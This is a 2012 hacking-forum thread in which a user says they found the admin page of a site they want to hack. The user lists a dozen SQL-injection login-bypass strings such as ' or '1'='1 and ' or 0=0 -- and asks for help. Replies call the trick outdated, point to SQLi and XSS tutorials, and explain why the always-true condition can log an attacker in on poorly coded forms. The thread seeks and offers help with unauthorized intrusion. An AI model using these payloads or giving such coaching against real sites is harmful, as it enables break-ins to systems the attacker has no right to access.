+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: Fellow HF i need your attention here ? URGENT (/showthread.php?tid=2408109)
Fellow HF i need your attention here ? URGENT - faith301 - Apr 16, 2012
Hello House i usa a link trick and i have gotten the admin page to the site i want to hack also i have tried all the possible admin user and password but i could not log in plz i need suggestion plz, below is example of the site
http://www.mysite.com/admin/index.php
i have tried the below code to log into the admin but its not going through
' or '1'='1
' or 'x'='x
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
* - tehrealdeal - Apr 16, 2012
I'm gonna hazard a guess and say you completed that HackThisSite level where you do some crappy sqli. Well, here's the truth:
It doesn't work like that.
Sorry.
* - Sw1x - Apr 16, 2012
That "hack" is so outdated. Learn SQLi/XSS instead. Well it's also SQLi, but a bad method, check out Team INTRAS mega thread, or Phizo's tutuorial.
* - Helios. - Apr 16, 2012
If he is hashing the passwords then sql injection through admin login wont work...
* - Jesse Pinkman™ - Apr 16, 2012
(Apr 16, 2012 07:31 AM)HeliosGR Wrote: If he is hashing the passwords then sql injection through admin login wont work...
Yes it would -.-'
' or '1'='1 more or less means password='' or 1=1 (which is true)
If it's a terribly coded login form then the 1=1 will make you login since the statement is true.